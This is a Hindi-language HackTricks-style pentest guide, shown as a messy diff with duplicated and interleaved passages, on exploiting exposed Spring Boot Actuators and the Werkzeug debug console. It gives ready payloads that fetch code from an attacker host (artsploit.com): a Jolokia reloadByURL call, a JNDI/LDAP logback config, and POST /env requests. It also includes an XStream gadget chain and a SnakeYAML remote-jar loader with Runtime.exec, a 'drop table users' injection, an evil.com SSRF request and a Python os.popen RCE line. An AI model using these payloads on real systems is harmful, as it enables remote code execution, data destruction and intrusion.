जब एक Spring Boot एप्लिकेशन चल रहा होता है, तो यह स्वचालित रूप से कई एंडपॉइंट्स (जैसे '/health', '/trace', '/beans', '/env' आदि) को रूटिंग प्रक्रिया में पंजीकृत करता है। Spring Boot 1 - 1.4 के लिए, वे प्रमाणीकरण के बिना सुलभ हैं, जिससे सुरक्षा के साथ महत्वपूर्ण समस्याएं होती हैं। Spring संस्करण 1.5 के साथ शुरू होकर, '/health' और '/info' को छोड़कर सभी एंडपॉइंट्स को संवेदनशील माना जाता है और डिफ़ॉल्ट रूप से सुरक्षित होते हैं, लेकिन यह सुरक्षा अक्सर एप्लिकेशन डेवलपर्स द्वारा अक्षम की जाती है।
|
||||
- स्प्रिंग बूट एक्ट्यूएटर्स `/health`, `/trace`, `/beans`, `/env` आदि जैसे एंडपॉइंट्स को रजिस्टर करते हैं। संस्करण 1 से 1.4 तक, इन एंडपॉइंट्स ताकतवर पहुंचने योग्य होते हैं बिना प्रमाणीकरण के। संस्करण 1.5 के बाद, केवल `/health` और `/info` डिफ़ॉल्ट रूप से गोपनीय नहीं हैं, लेकिन डेवलपर अक्सर इस सुरक्षा को अक्षम कर देते हैं।
|
||||
- कुछ एक्ट्यूएटर एंडपॉइंट्स संवेदनशील डेटा को उजागर कर सकते हैं या हानिकारक क्रियाएँ संभव बना सकते हैं:
|
||||
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, और `/heapdump`।
|
||||
- स्प्रिंग बूट 1.x में, एक्ट्यूएटर्स मुख्य URL के तहत पंजीकृत होते हैं, जबकि 2.x में, वे `/actuator/` मूल पथ के तहत होते हैं।
|
||||
|
||||
निम्नलिखित Actuator एंडपॉइंट्स संभावित रूप से सुरक्षा निहितार्थ रखते हैं जिससे संभावित कमजोरियाँ हो सकती हैं:
|
||||
### **शोषण तकनीकें:**
|
||||
|
||||
* /dump - थ्रेड्स का डंप प्रदर्शित करता है (जिसमें स्टैक ट्रेस शामिल है)
|
||||
* /trace - पिछले कई HTTP संदेशों को प्रदर्शित करता है (जिसमें सत्र पहचानकर्ता शामिल हो सकते हैं)
|
||||
* /logfile - लॉग फ़ाइल की सामग्री का आउटपुट देता है
|
||||
* /shutdown - एप्लिकेशन को बंद कर देता है
|
||||
* /mappings - सभी MVC कंट्रोलर मैपिंग्स दिखाता है
|
||||
* /env - कॉन्फ़िगरेशन वातावरण तक पहुँच प्रदान करता है
|
||||
* /actuator/env
|
||||
* /restart - एप्लिकेशन को पुनः आरंभ करता है
|
||||
* /heapdump - हमारे एप्लिकेशन द्वारा इस्तेमाल किए गए JVM से एक हीप डंप बनाता है और लौटाता है
|
||||
1. **'/jolokia' के माध्यम से दूरस्थ कोड निष्पादन**:
|
||||
- `/jolokia` एक्ट्यूएटर एंडपॉइंट Jolokia पुस्तकालय को उजागर करता है, जो MBeans को HTTP उपयोग के लिए अनुमति देता है।
|
||||
- `reloadByURL` क्रिया का शोषण किया जा सकता है ताकि बाह्य URL से लॉगिंग विन्यासों को पुनः लोड किया जा सके, जो क्राफ्टेड XML विन्यासों के माध्यम से ब्लाइंड XXE या रिमोट कोड निष्पादन तक ले जा सकता है।
|
||||
- उदाहरण शोषण URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
|
||||
|
||||
Spring 1x के लिए, वे मूल URL के अंतर्गत पंजीकृत होते हैं, और 2x में वे "/actuator/" बेस पथ पर चले गए हैं।
|
||||
2. **'/env' के माध्यम से कॉन्फ़िगरेशन संशोधन**:
|
||||
- यदि स्प्रिंग क्लाउड पुस्तकालय मौजूद हैं, तो `/env` एंडपॉइंट पर्यावरणीय गुणों का संशोधन करने की अनुमति देता है।
|
||||
- गुणों को ठीक करके विकल्पों का शोषण किया जा सकता है, जैसे Eureka serviceURL में XStream डिसीरियलाइज़ेशन वंशाजरूपण की विकल्पना।
|
||||
- उदाहरण शोषण POST अनुरोध:
|
||||
|
||||
**शोषण:**
|
||||
|
||||
अधिकांश actuators केवल GET अनुरोधों का समर्थन करते हैं और केवल संवेदनशील कॉन्फ़िगरेशन डेटा का खुलासा करते हैं, लेकिन उनमें से कुछ विशेष रूप से शेल शिकारियों के लिए दिलचस्प हैं:
|
||||
|
||||
**1. '/jolokia' के माध्यम से रिमोट कोड एक्जीक्यूशन**
|
||||
|
||||
यदि Jolokia Library लक्ष्य एप्लिकेशन क्लासपाथ में है, तो यह स्वचालित रूप से Spring Boot द्वारा '/jolokia' actuator एंडपॉइंट के तहत प्रकट की जाती है। Jolokia सभी पंजीकृत MBeans तक HTTP पहुँच प्रदान करता है और JMX के साथ आप जो ऑपरेशन कर सकते हैं, उसे करने के लिए डिज़ाइन किया गया है। सभी उपलब्ध MBeans क्रियाओं को URL का उपयोग करके सूचीबद्ध किया जा सकता है:
|
||||
|
||||
[**http://127.0.0.1:8090/jolokia/list**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
|
||||
|
||||
फिर से, अधिकांश MBeans क्रियाएँ केवल कुछ सिस्टम डेटा का खुलासा करती हैं, लेकिन एक विशेष रूप से दिलचस्प है:
|
||||
|
||||
![reloadByURL](https://www.veracode.com/sites/default/files/exploiting_spring_boot_actuators_jolokia.png)
|
||||
|
||||
'**reloadByURL**' क्रिया, जो Logback लाइब्रेरी द्वारा प्रदान की जाती है, हमें एक बाहरी URL से लॉगिंग कॉन्फ़िग को फिर से लोड करने की अनुमति देती है। इसे केवल नेविगेट करके ट्रिगर किया जा सकता है:[**http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
|
||||
|
||||
तो, हमें लॉगिंग कॉन्फ़िग की परवाह क्यों करनी चाहिए? मुख्य रूप से दो चीजों के कारण:
|
||||
|
||||
1. कॉन्फ़िग XML प्रारूप में है, और निश्चित रूप से, Logback इसे External Entities सक्षम के साथ पार्स करता है, इसलिए यह अंधा XXE के लिए संवेदनशील है।
|
||||
2. Logback कॉन्फ़िग में ['JNDI से वेरिएबल्स प्राप्त करने'] की सुविधा है(https://logback.qos.ch/manual/configuration.html#insertFromJNDI). XML फ़ाइल में, हम एक टैग जैसे '**\<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName" />**' शामिल कर सकते हैं और नाम विशेषता को DirContext.lookup() विधि के पास पारित किया जाएगा। यदि हम .lookup() फ़ंक्शन में एक मनमाना नाम प्रदान कर सकते हैं, तो हमें XXE या HeapDump की आवश्यकता नहीं है क्योंकि यह हमें पूर्ण **रिमोट कोड एक्जीक्यूशन** देता है।
|
||||
|
||||
**यह कैसे काम करता है:**
|
||||
|
||||
1\. एक हमलावर उपरोक्त URL का अनुरोध करता है 'reloadByURL' फ़ंक्शन को निष्पादित करने के लिए, जो 'qos.logback.classic.jmx.JMXConfigurator' क्लास द्वारा प्रदान किया जाता है।
|
||||
|
||||
2\. 'reloadByURL' फ़ंक्शन [http://artsploit.com/logback.xml](http://artsploit.com/logback.xml) से एक नया कॉन्फ़िग डाउनलोड करता है और इसे Logback कॉन्फ़िग के रूप में पार्स करता है। इस दुर्भावनापूर्ण कॉन्फ़िग में निम्नलिखित सामग्री होनी चाहिए:
|
||||
```
|
||||
<configuration>
|
||||
<insertFromJNDI env-entry-name="ldap://artsploit.com:1389/jndi" as="appName" />
|
||||
</configuration>
|
||||
```
|
||||
3\. जब यह फ़ाइल संवेदनशील सर्वर पर पार्स की जाती है, तो यह "env-entry-name" पैरामीटर मान में निर्दिष्ट हमलावर-नियंत्रित LDAP सर्वर से कनेक्शन बनाती है, जो JNDI संकल्पना की ओर ले जाती है। दुर्भावनापूर्ण LDAP सर्वर 'Reference' प्रकार की एक वस्तु लौटा सकता है जिससे लक्षित एप्लिकेशन पर **सप्लाई किए गए बाइटकोड का निष्पादन** हो सकता है। JNDI हमलों की अच्छी तरह से व्याख्या इस [MicroFocus शोध पत्र](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf) में की गई है। [नई JNDI शोषण तकनीक](https://www.veracode.com/blog/research/exploiting-jndi-injections-java) (जिसका वर्णन पहले हमारे ब्लॉग में किया गया था) यहाँ भी काम करती है, क्योंकि Tomcat Spring Boot Framework में डिफ़ॉल्ट एप्लिकेशन सर्वर है।
|
||||
|
||||
**2. '/env' के माध्यम से कॉन्फ़िग संशोधन**
|
||||
|
||||
यदि Spring Cloud Libraries क्लासपाथ में हैं, तो **'/env'** एंडपॉइंट आपको Spring पर्यावरणीय गुणधर्मों को संशोधित करने की अनुमति देता है। सभी '**@ConfigurationProperties**' के रूप में अंकित बीन्स को संशोधित किया जा सकता है और पुनः बाँधा जा सकता है। '/configprops' एक्चुएटर एंडपॉइंट पर सूचीबद्ध कई, लेकिन सभी नहीं, गुणधर्मों को हम नियंत्रित कर सकते हैं। वास्तव में, उनमें से टन हैं, लेकिन यह बिल्कुल स्पष्ट नहीं है कि हमें क्या संशोधित करने की आवश्यकता है कुछ हासिल करने के लिए। उनके साथ खेलते हुए कुछ दिन बिताने के बाद हमने यह पाया:
|
||||
```
|
||||
POST /env HTTP/1.1
|
||||
Host: 127.0.0.1:8090
|
||||
|
@ -86,177 +51,26 @@ Content-Length: 65
|
|||
|
||||
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
|
||||
```
|
||||
यह प्रॉपर्टी Eureka serviceURL को मनमाने मूल्य में बदल देती है। Eureka Server सामान्यतः एक डिस्कवरी सर्वर के रूप में इस्तेमाल होता है, और लगभग सभी Spring Cloud एप्लिकेशन इसमें रजिस्टर करते हैं और इसे स्टेटस अपडेट भेजते हैं। यदि आपको भाग्य से लक्ष्य क्लासपाथ में Eureka-Client <1.8.7 मिल जाता है (जो सामान्यतः Spring Cloud Netflix में शामिल होता है), तो आप इसमें **XStream deserialization vulnerability** का शोषण कर सकते हैं। आपको बस 'eureka.client.serviceUrl.defaultZone' प्रॉपर्टी को '/env' के माध्यम से अपने सर्वर URL ([http://artsploit.com/n/xstream](http://artsploit.com/n/xstream)) पर सेट करना होगा और फिर '/refresh' एंडपॉइंट को कॉल करना होगा। उसके बाद, आपके सर्वर को निम्नलिखित सामग्री के साथ XStream पेलोड सर्व करना चाहिए:
|
||||
```markup
|
||||
<linked-hash-set>
|
||||
<jdk.nashorn.internal.objects.NativeString>
|
||||
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
|
||||
<dataHandler>
|
||||
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
|
||||
<is class="javax.crypto.CipherInputStream">
|
||||
<cipher class="javax.crypto.NullCipher">
|
||||
<serviceIterator class="javax.imageio.spi.FilterIterator">
|
||||
<iter class="javax.imageio.spi.FilterIterator">
|
||||
<iter class="java.util.Collections$EmptyIterator"/>
|
||||
<next class="java.lang.ProcessBuilder">
|
||||
<command>
|
||||
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
|
||||
</command>
|
||||
<redirectErrorStream>false</redirectErrorStream>
|
||||
</next>
|
||||
</iter>
|
||||
<filter class="javax.imageio.ImageIO$ContainsFilter">
|
||||
<method>
|
||||
<class>java.lang.ProcessBuilder</class>
|
||||
<name>start</name>
|
||||
<parameter-types/>
|
||||
</method>
|
||||
<name>foo</name>
|
||||
</filter>
|
||||
<next class="string">foo</next>
|
||||
</serviceIterator>
|
||||
<lock/>
|
||||
</cipher>
|
||||
<input class="java.lang.ProcessBuilder$NullInputStream"/>
|
||||
<ibuffer></ibuffer>
|
||||
</is>
|
||||
</dataSource>
|
||||
</dataHandler>
|
||||
</value>
|
||||
</jdk.nashorn.internal.objects.NativeString>
|
||||
</linked-hash-set>
|
||||
```
|
||||
```markdown
|
||||
यह XStream पेलोड [Marshalsec अनुसंधान](https://github.com/mbechler/marshalsec) से ImageIO JDK-only गैजेट चेन का थोड़ा संशोधित संस्करण है। यहाँ केवल अंतर यह है कि **LinkedHashSet** का उपयोग करके 'jdk.nashorn.internal.objects.NativeString.hashCode()' विधि को ट्रिगर किया जाता है। मूल पेलोड java.lang.Map का उपयोग करता है ताकि वही व्यवहार प्राप्त किया जा सके, लेकिन Eureka की XStream कॉन्फ़िगरेशन में मैप्स के लिए एक [कस्टम कनवर्टर](https://github.com/Netflix/eureka/blob/master/eureka-client/src/main/java/com/netflix/discovery/converters/XmlXStream.java#L58) है जिससे इसे अनुपयोगी बना दिया गया है। ऊपर दिया गया पेलोड बिल्कुल भी मैप्स का उपयोग नहीं करता है और बिना अतिरिक्त प्रतिबंधों के Remote Code Execution प्राप्त करने के लिए उपयोग किया जा सकता है।
|
||||
|
||||
Spring Actuators का उपयोग करके, आप इस कमजोरी का शोषण कर सकते हैं भले ही आपके पास एक आंतरिक Eureka सर्वर तक पहुँच न हो; आपको केवल एक "/env" एंडपॉइंट की आवश्यकता होती है।
|
||||
3. **अन्य उपयोगी सेटिंग्स**:
|
||||
- गुणों जैसे `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, और `spring.datasource.tomcat.max-active` को विभिन्न शोषणों के लिए मोड़ा जा सकता है, जैसे SQL इन्जेक्शन या डेटाबेस कनेक्शन स्ट्रिंग को बदलना।
|
||||
|
||||
**अन्य उपयोगी सेटिंग्स:**
|
||||
### **अतिरिक्त जानकारी:**
|
||||
|
||||
**spring.datasource.tomcat.validationQuery=drop+table+users** - आपको किसी भी SQL क्वेरी को निर्दिष्ट करने की अनुमति देता है, और यह स्वचालित रूप से वर्तमान डेटाबेस के खिलाफ निष्पादित होगा। यह कोई भी स्टेटमेंट हो सकता है, जिसमें insert, update, या delete शामिल हैं।
|
||||
- डिफ़ॉल्ट एक्ट्यूएटर्स की व्यापक सूची [यहाँ](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt) मिल सकती है।
|
||||
- स्प्रिंग बूट 2.x में `/env` एंडपॉइंट गुणों के संशोधन के लिए JSON प्रारूप का उपयोग करता है, लेकिन सामान्य अवधारणा वही रहती है।
|
||||
|
||||
![Exploiting Spring Boot Actuators Drop Table](https://www.veracode.com/sites/default/files/exploiting_spring_boot_actuators_drop_table.png)
|
||||
### **संबंधित विषय:**
|
||||
|
||||
**spring.datasource.tomcat.url**=jdbc:hsqldb:[https://localhost:3002/xdb](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) - आपको वर्तमान JDBC कनेक्शन स्ट्रिंग को संशोधित करने की अनुमति देता है।
|
||||
1. **Env + H2 RCE**:
|
||||
- `/env` एंडपॉइंट और H2 डेटाबेस के संयोजन का शोषण करने के विवरण [यहाँ](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) मिल सकते हैं।
|
||||
|
||||
अंतिम एक बहुत अच्छा लगता है, लेकिन समस्या तब होती है जब डेटाबेस कनेक्शन चलाने वाला एप्लिकेशन पहले से ही स्थापित हो, बस JDBC स्ट्रिंग को अपडेट करने से कोई प्रभाव नहीं पड़ता है। सौभाग्य से, इस मामले में हमारी मदद करने के लिए एक और प्रॉपर्टी है:
|
||||
2. **गलत पथनामा व्याख्या के माध्यम से स्प्रिंग बूट पर SSRF**:
|
||||
- मैट्रिक्स पैरामीटर्स (`;`) का स्प्रिंग फ्रेमवर्क के HTTP पथनामों में संचालन को सर्वर-साइड अनुरोध फर्जी (SSRF) के लिए शोषण किया जा सकता है।
|
||||
- उदाहरण शोषण अनुरोध:
|
||||
|
||||
**spring.datasource.tomcat.max-active**=777
|
||||
|
||||
यहाँ हम जो चाल उपयोग कर सकते हैं वह है डेटाबेस के साथ समानांतर कनेक्शनों की संख्या बढ़ाना। इसलिए, हम JDBC कनेक्शन स्ट्रिंग को बदल सकते हैं, कनेक्शनों की संख्या बढ़ा सकते हैं, और उसके बाद एप्लिकेशन को भारी लोड का अनुकरण करने के लिए कई अनुरोध भेज सकते हैं। लोड के तहत, एप्लिकेशन अपडेटेड मैलिशस JDBC स्ट्रिंग के साथ एक नया डेटाबेस कनेक्शन बनाएगा। मैंने इस तकनीक को स्थानीय रूप से Mysql के खिलाफ परीक्षण किया और यह बहुत अच्छा काम करता है।
|
||||
|
||||
![Exploiting Spring Boot Actuators Max Active](https://www.veracode.com/sites/default/files/exploiting_spring_boot_actuators_max_active.png)
|
||||
|
||||
इसके अलावा, अन्य प्रॉपर्टीज हैं जो दिलचस्प लगती हैं, लेकिन, व्यवहार में, वास्तव में उपयोगी नहीं हैं:
|
||||
|
||||
**spring.datasource.url** - डेटाबेस कनेक्शन स्ट्रिंग (केवल पहले कनेक्शन के लिए उपयोग की जाती है)
|
||||
|
||||
**spring.datasource.jndiName** - डेटाबेस JNDI स्ट्रिंग (केवल पहले कनेक्शन के लिए उपयोग की जाती है)
|
||||
|
||||
**spring.datasource.tomcat.dataSourceJNDI** - डेटाबेस JNDI स्ट्रिंग (बिल्कुल भी उपयोग नहीं की जाती है)
|
||||
|
||||
**spring.cloud.config.uri**=[http://artsploit.com/](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) - spring cloud config url (एप्प स्टार्ट के बाद कोई प्रभाव नहीं होता है, केवल प्रारंभिक मानों का उपयोग होता है।)
|
||||
|
||||
ये प्रॉपर्टीज '/restart' एंडपॉइंट को कॉल किए जाने तक कोई प्रभाव नहीं डालती हैं। यह एंडपॉइंट सभी ApplicationContext को पुनः आरंभ करता है लेकिन यह डिफ़ॉल्ट रूप से अक्षम होता है।
|
||||
|
||||
अन्य बहुत सारी दिलचस्प प्रॉपर्टीज हैं, लेकिन उनमें से अधिकांश परिवर्तन के बाद तत्काल प्रभाव नहीं डालती हैं।
|
||||
|
||||
**नोट:** Spring Boot 2x में, '/env' एंडपॉइंट के माध्यम से प्रॉपर्टीज को संशोधित करने के लिए अनुरोध प्रारूप थोड़ा अलग है (यह json प्रारूप का उपयोग करता है), लेकिन विचार वही है।
|
||||
|
||||
**कमजोर एप्लिकेशन का एक उदाहरण:**
|
||||
|
||||
यदि आप इस कमजोरी का स्थानीय रूप से परीक्षण करना चाहते हैं, तो मैंने अपने Github पेज पर एक [सरल Spring Boot एप्लिकेशन](https://github.com/artsploit/actuator-testbed) बनाया है। सभी पेलोड वहाँ काम करना चाहिए, डेटाबेस सेटिंग्स को छोड़कर (जब तक आप इसे कॉन्फ़िगर नहीं करते)।
|
||||
|
||||
**ब्लैक बॉक्स डिस्कवरी:**
|
||||
|
||||
डिफ़ॉल्ट एक्चुएटर्स की पूरी सूची यहाँ मिल सकती है: [https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt)। ध्यान रखें कि एप्लिकेशन डेवलपर्स अपने स्वयं के एंडपॉइंट्स @Endpoint एनोटेशन का उपयोग करके बना सकते हैं।
|
||||
|
||||
**मई 2019 का अपडेट:**
|
||||
|
||||
Spring पर्यावरणीय प्रॉपर्टीज में संशोधन के माध्यम से RCE प्राप्त करने का एक अधिक विश्वसनीय तरीका है:
|
||||
```
|
||||
```
|
||||
POST /env HTTP/1.1
|
||||
Host: 127.0.0.1:8090
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 59
|
||||
|
||||
spring.cloud.bootstrap.location=http://artsploit.com/yaml-payload.yml
|
||||
```
|
||||
यह अनुरोध 'spring.cloud.bootstrap.location' प्रॉपर्टी को संशोधित करता है, जिसका उपयोग बाहरी कॉन्फ़िग को लोड करने और उसे YAML प्रारूप में पार्स करने के लिए किया जाता है। इसे संभव बनाने के लिए, हमें '/refresh' एंडपॉइंट को भी कॉल करने की आवश्यकता है।
|
||||
```
|
||||
POST /refresh HTTP/1.1
|
||||
Host: 127.0.0.1:8090
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 0
|
||||
```
|
||||
```markdown
|
||||
जब YAML कॉन्फ़िग रिमोट सर्वर से फेच किया जाता है, तो इसे SnakeYAML लाइब्रेरी के साथ पार्स किया जाता है, जो डिसेरियलाइजेशन हमलों के लिए भी संवेदनशील होती है। पेलोड (yaml-payload.yml) उपरोक्त Marshalsec अनुसंधान का उपयोग करके जनरेट किया जा सकता है :
|
||||
```
|
||||
```
|
||||
!!javax.script.ScriptEngineManager [
|
||||
!!java.net.URLClassLoader [[
|
||||
!!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
|
||||
]]
|
||||
]
|
||||
```
|
||||
इस फाइल के Deserialization से ScriptEngineManager के constructor की execution होती है जिसमें दिया गया URLClassLoader शामिल होता है। संक्षेप में, यह **'java.util.ServiceLoader#load(java.lang.Class\<S>, java.lang.ClassLoader)'** मेथड की ओर ले जाता है, जो क्लासपाथ में सभी लाइब्रेरीज में 'ScriptEngineFactory' इंटरफेस के सभी कार्यान्वयनों को खोजने का प्रयास करता है। चूंकि हम URLClassLoader के माध्यम से एक नई लाइब्रेरी जोड़ सकते हैं, हम एक नया 'ScriptEngineFactory' बना सकते हैं जिसमें मालिशियस बाइटकोड शामिल हो। ऐसा करने के लिए, हमें निम्नलिखित अनिवार्य फाइलों के साथ एक jar आर्काइव बनाने की आवश्यकता है: [yaml-payload.jar:/artsploit/AwesomeScriptEngineFactory.class](https://github.com/artsploit/yaml-payload/blob/master/src/artsploit/AwesomeScriptEngineFactory.java) में वास्तविक बाइटकोड होना चाहिए, जिसमें constructor में मालिशियस पेलोड हो।
|
||||
```
|
||||
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
|
||||
|
||||
public AwesomeScriptEngineFactory() {
|
||||
try {
|
||||
Runtime.getRuntime().exec("dig scriptengine.x.artsploit.com");
|
||||
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
```
|
||||
```markdown
|
||||
[yaml-payload.jar:/META-INF/services/javax.script.ScriptEngineFactory](https://github.com/artsploit/yaml-payload/blob/master/src/META-INF/services/javax.script.ScriptEngineFactory) एक टेक्स्ट फाइल होनी चाहिए जिसमें 'artsploit.AwesomeScriptEngineFactory' का पूरा संदर्भ हो, ताकि ServiceLoader को पता चल सके कि क्लास कहां मिलेगी: **artsploit.AwesomeScriptEngineFactory** फिर से, इस शोषण तकनीक के लिए spring cloud का classpath में होना आवश्यक है, लेकिन Eureka के XStream payload की तुलना में, यह नवीनतम संस्करण में भी काम करता है। पूरा payload आप मेरे github प्रोजेक्ट में देख सकते हैं: [yaml-payload](https://github.com/artsploit/yaml-payload).
|
||||
|
||||
## Env + H2 RCE
|
||||
|
||||
इस पेज पर जाएं और जानें कि /env + H2 संयोजन का शोषण कैसे करें: [https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)
|
||||
|
||||
## Spring Boot में गलत Pathname व्याख्या के माध्यम से SSRF <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>
|
||||
|
||||
[**इस शोध से**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation): Spring framework HTTP pathname के पहले स्लैश से पहले मैट्रिक्स पैरामीटर विभाजक चरित्र `;` को स्वीकार करता है:
|
||||
```
|
||||
```http
|
||||
GET ;1337/api/v1/me HTTP/1.1
|
||||
Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
इस तरह की परिस्थिति में:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (717).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
यह देखते हुए कि Spring मैट्रिक्स पैरामीटर सेपरेटर के बाद किसी भी अक्षर की अनुमति देता है, `@` अक्षर का उपयोग करके मनमाने एंडपॉइंट को भी प्राप्त करना संभव हो जाता है।
|
||||
|
||||
नीचे एक्सप्लॉइट अनुरोध का उदाहरण दिया गया है:
|
||||
```http
|
||||
GET ;@evil.com/url HTTP/1.1
|
||||
Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
## अधिक जानकारी
|
||||
|
||||
* [https://tutorialboy24.blogspot.com/2022/02/introduction-to-spring-boot-related.html](https://tutorialboy24.blogspot.com/2022/02/introduction-to-spring-boot-related.html)
|
||||
* [https://blog.maass.xyz/spring-actuator-security-part-1-stealing-secrets-using-spring-actuators](https://blog.maass.xyz/spring-actuator-security-part-1-stealing-secrets-using-spring-actuators)
|
||||
* [https://blog.maass.xyz/spring-actuator-security-part-2-finding-actuators-using-static-code-analysis-with-semgrep](https://blog.maass.xyz/spring-actuator-security-part-2-finding-actuators-using-static-code-analysis-with-semgrep)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में शामिल हों या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो** करें.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपोज़ में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,69 +1,70 @@
|
|||
# कंसोल RCE
|
||||
# Werkzeug / Flask Debug
|
||||
|
||||
यदि डीबग सक्रिय है तो आप `/console` तक पहुँचने का प्रयास कर सकते हैं और RCE प्राप्त कर सकते हैं।
|
||||
<details>
|
||||
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PR जमा करके साझा करें।
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**सुरक्षा मूल्यांकन और पेनेट्रेशन टेस्टिंग के लिए तुरंत उपलब्ध सेटअप**। कहीं से भी 20+ टूल और सुविधाओं के साथ पूर्ण पेनटेस्ट चलाएं जो पुनरीक्षण से रिपोर्टिंग तक जाते हैं। हम पेनटेस्टर्स को बदलने नहीं देते हैं - हम उन्हें वापस कुछ समय देने के लिए कस्टम टूल, पहचान और शोषण मॉड्यूल विकसित करते हैं ताकि वे गहराई में खोज करने, शैल्स पॉप करने और मज़ा करने में समय बिता सकें।
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
## Console RCE
|
||||
|
||||
यदि डीबग सक्रिय है तो आप `/console` तक पहुंचने और RCE प्राप्त करने की कोशिश कर सकते हैं।
|
||||
```python
|
||||
__import__('os').popen('whoami').read();
|
||||
```
|
||||
![](<../../.gitbook/assets/image (317).png>)
|
||||
|
||||
इंटरनेट पर कई एक्सप्लॉइट्स भी हैं जैसे कि [यह](https://github.com/its-arun/Werkzeug-Debug-RCE) या मेटास्प्लॉइट में एक।
|
||||
इंटरनेट पर कई एक्सप्लॉइट्स भी हैं जैसे [यह](https://github.com/its-arun/Werkzeug-Debug-RCE) या metasploit में एक।
|
||||
|
||||
## पिन संरक्षित - पथ भ्रमण
|
||||
## पिन सुरक्षित - पथ भ्रमण
|
||||
|
||||
कुछ अवसरों पर **`/console`** एंडपॉइंट पिन द्वारा संरक्षित होता है। यदि आपके पास **फाइल भ्रमण संवेदनशीलता** है, तो आप उस पिन को जनरेट करने के लिए आवश्यक सभी जानकारी प्राप्त कर सकते हैं।
|
||||
